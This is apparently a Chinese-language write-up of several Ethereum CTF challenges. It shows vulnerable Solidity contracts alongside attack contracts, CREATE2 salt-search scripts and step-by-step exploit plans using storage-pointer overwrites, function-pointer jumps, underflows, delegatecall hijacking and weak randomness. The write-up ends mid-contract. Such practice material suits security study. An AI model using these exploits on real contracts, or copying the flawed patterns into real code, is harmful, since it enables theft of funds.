Storage

0x01cow

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
pragma solidity ^0.4.0;
contract cow{
address public owner_1;
address public owner_2;
address public owner_3;
address public owner;
mapping(address => uint) public balance;

struct hacker {
address hackeraddress1;
address hackeraddress2;
}
hacker h;

constructor()public{
owner = msg.sender;
owner_1 = msg.sender;
owner_2 = msg.sender;
owner_3 = msg.sender;
}

event SendFlag(string b64email);

function payforflag(string memory b64email) public
{
require(msg.sender==owner_1);
require(msg.sender==owner_2);
require(msg.sender==owner_3);
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}

function Cow() public payable
{
uint geteth=msg.value/1000000000000000000;
if (geteth==1)
{
owner_1=msg.sender;
}
}

function cov() public payable
{
uint geteth=msg.value/1000000000000000000;
if (geteth<1)
{
hacker fff=h;
fff.hackeraddress1=msg.sender;
}
else
{
fff.hackeraddress2=msg.sender;
}
}

function see() public payable
{
uint geteth=msg.value/1000000000000000000;
balance[msg.sender]+=geteth;
if (uint(msg.sender) & 0xffff == 0x525b)
{
balance[msg.sender] -= 0xb1b1;
}
}

function buy_own() public
{
require(balance[msg.sender]>1000000);
balance[msg.sender]=0;
owner_3=msg.sender;
}

}

Analyse

就是通过三关就行了,第一关Cow()转入一个代币就可以了。第二关发现else中他没有初始化结构体的指针,所以默认为slot0,slot1,因此也是转入一个代币就可以了。第三关直接creat2就可以了

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface cow{
function Cow()external payable;
function cov()external payable;
function see()external payable;
function buy_own()external;
function payforflag(string calldata b)external;
}
contract Attack{
function attack(address add)public payable{
cow target=cow(add);
target.Cow{value:1 ether}();
target.cov{value:1 ether}();
target.see();
target.buy_own();
}
}
contract Deploy{
function getBytecode()public pure returns(bytes memory){
bytes memory bytecode=type(Attack).creationCode;
return bytecode;
}
function deploy(uint _salt)external returns(address addr ){
Attack _contract=new Attack{salt:bytes32(_salt)}();
addr=address(_contract);//create2方法相对于原来的方法只需加个大括号
}
}
from web3 import Web3, HTTPProvider

deployingAddr = 'aE036c65C649172b43ef7156b009c6221B596B8b'

code = '0x608060405234801561000f575f80fd5b506102848061001d5f395ff3fe60806040526004361061001d575f3560e01c8063d018db3e14610021575b5f80fd5b61003b60048036038101906100369190610223565b61003d565b005b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663ff2eff94670de0b6b3a76400006040518263ffffffff1660e01b81526004015f604051808303818588803b15801561008f575f80fd5b505af11580156100a1573d5f803e3d5ffd5b50505050508073ffffffffffffffffffffffffffffffffffffffff166396c50336670de0b6b3a76400006040518263ffffffff1660e01b81526004015f604051808303818588803b1580156100f4575f80fd5b505af1158015610106573d5f803e3d5ffd5b50505050508073ffffffffffffffffffffffffffffffffffffffff16639ae5a2be6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610150575f80fd5b505af1158015610162573d5f803e3d5ffd5b505050508073ffffffffffffffffffffffffffffffffffffffff1663ed6b8ff36040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156101ab575f80fd5b505af11580156101bd573d5f803e3d5ffd5b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6101f2826101c9565b9050919050565b610202816101e8565b811461020c575f80fd5b50565b5f8135905061021d816101f9565b92915050565b5f60208284031215610238576102376101c5565b5b5f6102458482850161020f565b9150509291505056fea2646970667358221220ed8cee093c4b37532ca38f3648f878819d5e79c11c8ffaf9b374e4e1f8923a5d64736f6c63430008140033'

s = Web3.keccak(hexstr=code)
print(s)
a = ''.join(['%02x' % b for b in s])
print(a)
i = 0
while (1):
# 去掉0x,并且补充到bytes32位
salt = hex(i)[2:].rjust(64, '0')
p = Web3.keccak(hexstr=('0xff' + deployingAddr + salt + a))[12:].hex()
if p.endswith("525b"):
print(salt, p)
break
i += 1
print(int(salt,16))

0x02rise

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
pragma solidity ^0.4.2;
contract rise {
address referee;
uint secret;
uint bl;
mapping(address => uint) public balance;
mapping(address => uint) public gift;
address owner;

struct hacker {
address hackeraddress;
uint value;
}

constructor()public{
owner = msg.sender;
referee = msg.sender;
balance[msg.sender]=10000000;
bl=1;
secret=18487187377722;
}
event SendFlag(string b64email);

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

modifier onlyRefer(){
require(msg.sender == referee);
_;
}

function payforflag(string b64email) public
{
require(balance[msg.sender]>1000000);
balance[msg.sender]=0;
bl=1;
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}

function airdrop() public
{
require(gift[msg.sender]==0);
gift[msg.sender]==1;
balance[msg.sender]+=1;
}

function deposit() public payable
{
uint geteth=msg.value/1000000000000000000;
balance[msg.sender]+=geteth;
}

function set_secret(uint target_secret) public onlyOwner
{
secret=target_secret;
}

function set_bl(uint target_bl) public onlyRefer
{
bl=target_bl;
}

function risegame(uint guessnumber) public payable
{
require(balance[msg.sender]>0);
uint geteth=msg.value/1000000000000000000;
if (guessnumber==secret)
{
balance[msg.sender]+=geteth*bl;
bl=1;
}
else
{
balance[msg.sender]=0;
bl=1;
}
}

function transferto(address to) public
{
require(balance[msg.sender]>0);
if (to !=0)
{
balance[to]=balance[msg.sender];
balance[msg.sender]=0;
}
else
{
hacker storage h;
h.hackeraddress=msg.sender;
h.value=balance[msg.sender];
balance[msg.sender]=0;
}
}

}

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.8.0;
interface rise {
function airdrop() external;
function set_bl(uint target_bl) external;
function risegame(uint guessnumber) external payable;
function transferto(address to)external;
}
contract Attack{
rise target;
constructor(address add){
target=rise(add);
}
function attack()public payable{
target.airdrop();
target.transferto(address(0));
target.airdrop();
target.set_bl(1000000);
target.risegame{value:1 ether}(1);
}
}

0x03roiscoin

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
pragma solidity ^0.4.23;

contract FakeOwnerGame {
event SendFlag(address _addr);

uint randomNumber = 0;
uint time = now;
mapping (address => uint) public BalanceOf;
mapping (address => uint) public WinCount;
mapping (address => uint) public FailCount;
bytes32[] public codex;
address public owner;
uint256 public settlementBlockNumber;
address public guesser;
uint8 public guess;

struct FailedLog {
uint failtag;
uint failtime;
uint success_count;
address origin;
uint fail_count;
bytes12 hash;
address msgsender;
}
mapping(address => FailedLog[]) FailedLogs;

constructor() {
owner = msg.sender;
}

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

function payforflag() onlyOwner {
require(BalanceOf[msg.sender] >= 2000);
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}

function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;

if (guess == answer) {
WinCount[msg.sender] += 1;
BalanceOf[msg.sender] += 1000;
} else {
FailCount[msg.sender] += 1;
}

if (WinCount[msg.sender] == 2) {
if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
guesser = 0;
WinCount[msg.sender] = 0;
FailCount[msg.sender] = 0;
msg.sender.transfer(address(this).balance);
} else {
FailedLog failedlog;
failedlog.failtag = 1;
failedlog.failtime = now;
failedlog.success_count = WinCount[msg.sender];
failedlog.origin = tx.origin;
failedlog.fail_count = FailCount[msg.sender];
failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
failedlog.msgsender = msg.sender;
FailedLogs[msg.sender].push(failedlog);
}
}
}

function beOwner() payable {
require(address(this).balance > 0);
if(msg.value > address(this).balance){
owner = msg.sender;
}
}

function revise(uint idx, bytes32 tmp) {
if(uint(msg.sender) & 0x61 == 0x61 && tx.origin != msg.sender) {
codex[idx] = tmp;
}
}
}

Analyse

题目要求我们余额大于2000,且是owner。其实很简单就是有点绕,余额大于两千我们就进行settle就可以了。但是成为owner就不简单了,我们看到了beOwner,好像很简单的就能成为owner,但是这个函数就是骗人的,永远没法msg.value > address(this).balance。那么我们再看revise函数,它可以设置bytes32[] public codex的值。似乎我们可以利用它来覆盖slot槽,但是我们的数组长度也没这么长啊,我们还要想办法将数组长度变长。在settle中似乎存在一个未初始化的数组,它的后两个值(bytes12 hash;address msgsender;)似乎正位于数组长度的槽。然后经过计算我们发现msgsender的前两位必须大于fb才可以使得数组足够大。slot是从右往左排的。

即slot:———————–msg.sender—————-hash—————-: bytse32

那么我们就creat2就可以了。

Attack

Step

  1. 部署Deploy
  2. 用py寻找到0xfc…………61的地址的salt,然后用creat2部署Attack;
  3. 先init,然后attack1
  4. 一直调用attack2,直到结构体修改为止
  5. 调用findslot修改owner。然后所有要求就完成了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
pragma solidity ^0.8.0;

interface FakeOwnerGame{
function lockInGuess(uint8 n) external payable;
function settle() external;
function revise(uint idx, bytes32 tmp)external;
}
contract Attack{
uint a=5;
FakeOwnerGame target;

function init(address add)public{
target=FakeOwnerGame(add);
}

function attack1()public payable{
require(msg.value==1 ether);
target.lockInGuess{value:1 ether}(1);
}

function attack2()public {
target.settle();
}

function findslot()public returns(bytes32){
uint slot=2**256-1-uint(keccak256(abi.encodePacked(a)))+7;
target.revise(slot,bytes32(uint(uint160((address(msg.sender))))));
return bytes32(slot);
}
}
contract Deploy{
Attack public _contract;
function getcode()public pure returns(bytes memory){
bytes memory bytecode =type(Attack).creationCode;
return bytecode;
}
function deploy(uint salt)public returns(address add){
_contract=new Attack{salt:bytes32(salt)}();
add=address(_contract);
}
}
// 114245411204874937970903528273105092893277201882823832116766311725579567940182 owner槽的位置
from web3 import Web3, HTTPProvider

deployingAddr = 'A64F13F05479C8d1eB5adF6cDB85fA2303CcFC0f'

code = '0x608060405260055f55348015610013575f80fd5b5061058b806100215f395ff3fe608060405260043610610042575f3560e01c8063171953301461004557806319ab453c1461006f578063419efc03146100975780639fcec698146100a157610043565b5b005b348015610050575f80fd5b506100596100b7565b6040516100669190610340565b60405180910390f35b34801561007a575f80fd5b50610095600480360381019061009091906103b7565b6101c0565b005b61009f610203565b005b3480156100ac575f80fd5b506100b56102aa565b005b5f8060075f546040516020016100cd919061040b565b604051602081830303815290604052805190602001205f1c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101109190610452565b61011a9190610485565b905060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630339f300823360601b6bffffffffffffffffffffffff19166040518363ffffffff1660e01b815260040161018a9291906104c7565b5f604051808303815f87803b1580156101a1575f80fd5b505af11580156101b3573d5f803e3d5ffd5b50505050805f1b91505090565b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b670de0b6b3a76400003414610216575f80fd5b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632c0e0054670de0b6b3a764000060016040518363ffffffff1660e01b815260040161027a919061053c565b5f604051808303818588803b158015610291575f80fd5b505af11580156102a3573d5f803e3d5ffd5b5050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166311da60b46040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610310575f80fd5b505af1158015610322573d5f803e3d5ffd5b50505050565b5f819050919050565b61033a81610328565b82525050565b5f6020820190506103535f830184610331565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6103868261035d565b9050919050565b6103968161037c565b81146103a0575f80fd5b50565b5f813590506103b18161038d565b92915050565b5f602082840312156103cc576103cb610359565b5b5f6103d9848285016103a3565b91505092915050565b5f819050919050565b5f819050919050565b610405610400826103e2565b6103eb565b82525050565b5f61041682846103f4565b60208201915081905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61045c826103e2565b9150610467836103e2565b925082820390508181111561047f5761047e610425565b5b92915050565b5f61048f826103e2565b915061049a836103e2565b92508282019050808211156104b2576104b1610425565b5b92915050565b6104c1816103e2565b82525050565b5f6040820190506104da5f8301856104b8565b6104e76020830184610331565b9392505050565b5f819050919050565b5f60ff82169050919050565b5f819050919050565b5f61052661052161051c846104ee565b610503565b6104f7565b9050919050565b6105368161050c565b82525050565b5f60208201905061054f5f83018461052d565b9291505056fea2646970667358221220226014c11c2827793bfe1f14fb40e6c9da3f7719bb13e63747b9c4dc2a0b7f9f64736f6c63430008140033'

s = Web3.keccak(hexstr=code)
print(s)
a = ''.join(['%02x' % b for b in s])
print(a)
i = 0
while (1):
# 去掉0x,并且补充到bytes32位
salt = hex(i)[2:].rjust(64, '0')
p = Web3.keccak(hexstr=('0xff' + deployingAddr + salt + a))[12:].hex()
if p.startswith("0xfc")&p.endswith("61"):
print(salt, p)
break
i += 1
print(int(salt,16))

0x04bank

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
pragma solidity ^0.4.24;

contract Bank {
event SendEther(address addr);
event SendFlag(address addr);

address public owner;//slot 0
uint randomNumber = 0;//slot 1
constructor() public {
owner = msg.sender;
}
struct SafeBox {
bool done;
function(uint, bytes12) internal callback;//bytes8
bytes12 hash;
uint value;
}
SafeBox[] safeboxes;// slot 2

struct FailedAttempt {
uint idx;
uint time;
bytes12 triedPass;
address origin;
}
mapping(address => FailedAttempt[]) failedLogs;//slot 3

modifier onlyPass(uint idx, bytes12 pass) {
if (bytes12(sha3(pass)) != safeboxes[idx].hash) {
FailedAttempt info;// ld
info.idx = idx;
info.time = now;
info.triedPass = pass;
info.origin = tx.origin;
failedLogs[msg.sender].push(info);
}
else {
_;
}
}

function deposit(bytes12 hash) payable public returns(uint) {
SafeBox box; //ld
box.done = false;
box.hash = hash;
box.value = msg.value;
if (msg.sender == owner) {
box.callback = sendFlag;
}
else {
require(msg.value >= 1 ether);
box.value -= 0.01 ether;
box.callback = sendEther;
}
safeboxes.push(box);
return safeboxes.length-1;
}

function withdraw(uint idx, bytes12 pass) public payable {
SafeBox box = safeboxes[idx];
require(!box.done);
box.callback(idx, pass);
box.done = true;
}

function sendEther(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
msg.sender.transfer(safeboxes[idx].value);
emit SendEther(msg.sender);
}

function sendFlag(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
selfdestruct(owner);
}
}

Analyse

题目分析:

这一题是比较好且好玩的一题。我们要完成合约需要调用内部合约sendFlag()且传入100000000 ether才能完成,但是不太可能。那么我们一步一步的来,合约中存在结构体覆盖的漏洞,onlyPass中可以覆盖到数组的长度的槽,因此我们数组长度变大,可以覆盖其他的槽。但是这有什么用能?我们发现withdraw可以调用box.callback,即可以跳转到callback(bytes8)对应的函数JUMPDEST。那么我们可以跳转到sendFlag()函数里面,但是我们还要支付100000000 ether。那么我们会想可不可以绕过支付钱这一步,而是直接跳转到emit SendFlag(msg.sender)?那么我们需要找到合约对应的最基础的操作

​ 06F4 56 *JUMP 06F5 5B JUMPDEST 06F6 6A PUSH11 0x52b7d2dcc80cd2e4000000 0702 34 CALLVALUE 0703 10 LT 0704 15 ISZERO 0705 15 ISZERO 0706 15 ISZERO 0707 61 PUSH2 0x070f 070A 57 *JUMPI 070B 60 PUSH1 0x00 070D 80 DUP1 070E FD *REVERT 070F 5B JUMPDEST 0710 7F PUSH32

0x2d3bd82a572c860ef85a36e8d4873a9deed3f76b9fddbf13fbe4fe8a97c4a579

​ 0731 33 CALLER

这是对合约字节码反编译时发现的,我们看到在06F5(这一步正是callback的值对应的跳转地)时跳转目的地sendFlag()函数,在06F6时push了100000000 ether,在070F时又进行了跳转目的地,该目的地正是emit SendFlag(msg.sender)。那么我们会想如果我们直接跳转到070F那么不就成功绕过100000000 ether这个条件了?

所以我们要想方设法更改callback它的值。

如何更改callback:

这里就用到了我们刚刚提到的结构体覆盖漏洞了。我们调用deposit函数并且传入1ether,成功的为withdraw的调用做准备。然后我们调用withdraw,我会进入onlyPass,导致槽被覆盖,同时存入一个自定义的bytes12 pass,并且储存到映射结构体数组中,我们分别看一下两个数组占用的储存位置

safeBox:

-—————————————————-

unused (11) | hash (12) | callback (8) | done (1) | 1

-—————————————————-

​ value (32) | 2

-—————————————————-

FailedAttempt

-—————————————————-

​ idx (32) | 1

-—————————————————-

​ time (32) | 2

-—————————————————-

​ origin (20) | triedPass (12) | 3

-—————————————————-

我们知道triedPass 是我们自定义的,而它所在的位置也包含了callback ,因此我们可以通过更改triedPass的值,使其数组SafeBox[] safeboxes的特定索引可以找到其对应的值,然后取callback的时候取走的是triedPass的部分值,使这部分值为000000000000070F;从而完成跳转,完成合约。

需要注意的是:

1.我们必须要寻找到符合的msg.sender使safeBox的第一个槽恰恰好可以在FailedAttempt的第三个槽的位置,而不是safeBox的第二个槽在FailedAttempt的第三个槽的位置。

2.我们数组长度要尽可能长点,否则没法寻找到映射结构体数组的位置,因此我们的msg.sender的前几位要大于最小长度的前几位。要满足这个条件应该很容易。

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
contract Attack{
Bank target;
uint public v=uint(0x3b1cc29c72f9df2b628a8d6a5e6f1ee64e672d27a5e07b27d5010855efd2cdf8);
constructor(address add)payable{
target=Bank(add);

}
function Arrystart()public pure returns(uint){//数组的起始位置
bytes32 a=keccak256(bytes32(2));
return uint(a);
}
function Mapstart()public view returns(uint){//映射结构体数组的起始位置
bytes32 a=keccak256(keccak256(abi.encodePacked(bytes32(address(msg.sender)),bytes32(3))));
return uint(a);
}
function find()public view returns(uint){//恰好可以覆盖的最小长度 == 也是我们需要的索引值。
uint a=(Mapstart()-Arrystart())%2;
require(a==0,"failed");
uint b=(Mapstart()-Arrystart())/2+1;
return b;
}
}

然后开始攻击:

  1. deposit(0x000000000000000000000000){value:1 ether}; 设置callback为sendEther,为下一步deposit进入onlyPass做准备

  2. withdraw(0,0x111111000000000000070F00): 1的位置随便填,这一步完成了数组长度的覆盖,并且也设置好了未来的callback的值(bytes8:000000000000070F),可谓点睛之笔;

  3. withdraw(index,0x000000000000000000000000): index是我们寻找到的,数组覆盖映射结构体数组的特定index,此时特定index的callback就是tiredPass的一部分,也就是000000000000070F,然后通过callback直接绕过100000000 ether,直接发送事件,并且自毁,然后完成题目!!!!!!!!!!!!!

考察点:主要考察的是字节码的跳转,要理解字节码的运作原理以及跳转的运作原理,同时要注意结构体的覆盖,以及数组的覆盖,利用它们可以取到任何我们想要的值,只要给我们一个可以更改值的槽,我们就可以在合约中得到任意我们想要的值,从而使得我们拥有很大的操作空间。

Integer overflow

0x01bet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pragma solidity ^0.4.24;

contract bet {
uint secret;
address owner;

mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;
mapping(address => uint) public isbet;

event SendFlag(string b64email);

function Bet() public{
owner = msg.sender;
}

function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
balanceOf[msg.sender]=0;
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}


//to fuck

modifier only_owner() {
require(msg.sender == owner);
_;
}

function setsecret(uint secretrcv) only_owner {
secret=secretrcv;
}

function deposit() payable{
uint geteth=msg.value/1000000000000000000;
balanceOf[msg.sender]+=geteth;
}

function profit() {
require(gift[msg.sender]==0);
gift[msg.sender]=1;
balanceOf[msg.sender]+=1;
}

function betgame(uint secretguess){
require(balanceOf[msg.sender]>0);
balanceOf[msg.sender]-=1;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
isbet[msg.sender]=1;
}
}

function doublebetgame(uint secretguess) only_owner{
require(balanceOf[msg.sender]-2>0);
require(isbet[msg.sender]==1);
balanceOf[msg.sender]-=2;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
}
}

}

简单的一批,Bet随便调用,直接用doublebetgame溢出就可以了

0x02hf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
pragma solidity ^0.4.24;

contract hf {
address secret;
uint count;
address owner;

mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;

struct node {
address nodeadress;
uint nodenumber;
}

node public node0;

event SendFlag(string b64email);

constructor()public{
owner = msg.sender;
}

function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
balanceOf[msg.sender]=0;
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}


//to fuck

modifier onlySecret() {
require(msg.sender == secret);
_;
}

function profit() public{
require(gift[msg.sender]==0);
gift[msg.sender]=1;
balanceOf[msg.sender]+=1;
}

function hfvote() public payable{
uint geteth=msg.value/1000000000000000000;
balanceOf[msg.sender]+=geteth;
}

function ubw() public payable{
if (msg.value < 2 ether)
{
node storage n = node0;
n.nodeadress=msg.sender;
n.nodenumber=1;
}
else
{
n.nodeadress=msg.sender;
n.nodenumber=2;
}
}

function fate(address to,uint value) public onlySecret {
require(balanceOf[msg.sender]-value>=0);
balanceOf[msg.sender]-=value;
balanceOf[to]+=value;
}

}

结构体为初始化,覆盖secret,然后fate溢出就可以了。

Delegatecall

0x01Counterstrike

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
pragma solidity ^0.5.10;

contract EasyBomb{
bool private hasExplode = false;
address private launcher_address;
bytes32 private password;
bool public power_state = true;
bytes4 constant launcher_start_function_hash = bytes4(keccak256("setdeadline(uint256)"));
Launcher launcher;

function msgPassword() public returns (bytes32 result) {
bytes memory msg_data = msg.data;
if (msg_data.length == 0) {
return 0x0;
}
assembly {
result := mload(add(msg_data, add(0x20, 0x24)))
}
}

modifier isOwner(){
require(msgPassword() == password);
require(msg.sender != tx.origin);
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

modifier notExplodeYet(){
launcher = Launcher(launcher_address);
require(block.number < launcher.deadline());
hasExplode = true;
_;
}

constructor(address _launcher_address, bytes32 _fake_flag) public {
launcher_address = _launcher_address;
password = _fake_flag ;
}

function setCountDownTimer(uint256 _deadline) public isOwner notExplodeYet {
launcher_address.delegatecall(abi.encodeWithSignature("setdeadline(uint256)",_deadline));
}
}

contract Setup {
EasyBomb public easyBomb;

constructor(bytes32 _password) public {
easyBomb = new EasyBomb(address(new Launcher()), _password);
}

function isSolved() public view returns (bool) {
return easyBomb.power_state() == false;
}
}

contract Launcher{
uint256 public deadline;
function setdeadline(uint256 _deadline) public {
deadline = _deadline;
}

constructor() public {
deadline = block.number + 100;
}
}

Analyse

题目要求我们改变power_state的状态为false,而函数setCountDownTimer覆盖了launcher_address,因此我们可以覆盖launch_address,然后自己写个合约来覆盖power_state从而完成题目。setCountDownTimer有两关,第一关容易满足,第二关isOwner有的麻烦,我们先通过脚本得到password=0x000000000000666c61677b646f6e4c65745572447265616d4265447265616d7d

然后我们需要构建msg.data,因为他return的是mload(add(msg_data, add(0x20, 0x24))){即需要取68位以后的},前32位储存的是长度(mload(0x00)是数据的长度),因此我们需要使构造的msg.data的后36位是password,而selector为4位,uint传入的参数为32位,因此后面传入的就要是password了,然后我们就用参数uint去覆盖launcher_address,launcher_address与hasExplode共占一个槽,所以覆盖的时候需要注意。

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
contract Attack{
uint256 deadline;
constructor(address addr)public{
address target=addr;
bytes32 password=0x000000000000666c61677b646f6e4c65745572447265616d4265447265616d7d;
address mycontract=address(new Hack());
bytes memory data0=abi.encodeWithSignature("setCountDownTimer(uint256)",uint(uint168(uint160(mycontract))<<8),password);
target.call(data0);
bytes memory data1=abi.encodeWithSignature("setCountDownTimer(uint256)",0,password);
target.call(data1);
}
}

contract Hack{
uint256 public deadline=block.number + 100;
bytes32 public password;
bool public power_state = true;
function setdeadline(uint256 _deadline) public {
power_state=false;
}
}

data0中自己写的覆盖合约Hack需要移动8位,防止覆盖到hasExplode参数了,注意自己生产的Hack合约中的deadline参数不能为0,因为这样会通不过第一个关卡的require(block.number < launcher.deadline());

获取password

1
2
3
4
5
6
7
from web3 import Web3
import utils
w3 = Web3(Web3.HTTPProvider())
addr = ""

a = w3.eth.get_storage_at(addr, 1)
print(a.hex())

Bad randomness

0x01EOSGame

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
pragma solidity ^0.4.24;

library SafeMath {

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b);

return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;
}

/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;

return c;
}

/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);

return c;
}

/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}

contract EOSToken{
using SafeMath for uint256;
string TokenName = "EOS";

uint256 totalSupply = 100**18;
address owner;
mapping(address => uint256) balances;

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

constructor() public{
owner = msg.sender;
balances[owner] = totalSupply;
}

function mint(address _to,uint256 _amount) public onlyOwner {
require(_amount < totalSupply);
totalSupply = totalSupply.sub(_amount);
balances[_to] = balances[_to].add(_amount);
}

function transfer(address _from, address _to, uint256 _amount) public onlyOwner {
require(_amount < balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
}

function eosOf(address _who) public constant returns(uint256){
return balances[_who];
}
}

contract EOSGame{

using SafeMath for uint256;
mapping(address => uint256) public bet_count;
uint256 FUND = 100;
uint256 MOD_NUM = 20;
uint256 POWER = 100;
uint256 SMALL_CHIP = 1;
uint256 BIG_CHIP = 20;
EOSToken eos;

event FLAG(string b64email, string slogan);

constructor() public{
eos=new EOSToken();
}

function initFund() public{
if(bet_count[tx.origin] == 0){
bet_count[tx.origin] = 1;
eos.mint(tx.origin, FUND);
}
}

function bet(uint256 chip) internal {
bet_count[tx.origin] = bet_count[tx.origin].add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
eos.transfer(address(this), tx.origin, chip.mul(POWER));
}
}

function smallBlind() public {
eos.transfer(tx.origin, address(this), SMALL_CHIP);
bet(SMALL_CHIP);
}

function bigBlind() public {
eos.transfer(tx.origin, address(this), BIG_CHIP);
bet(BIG_CHIP);
}

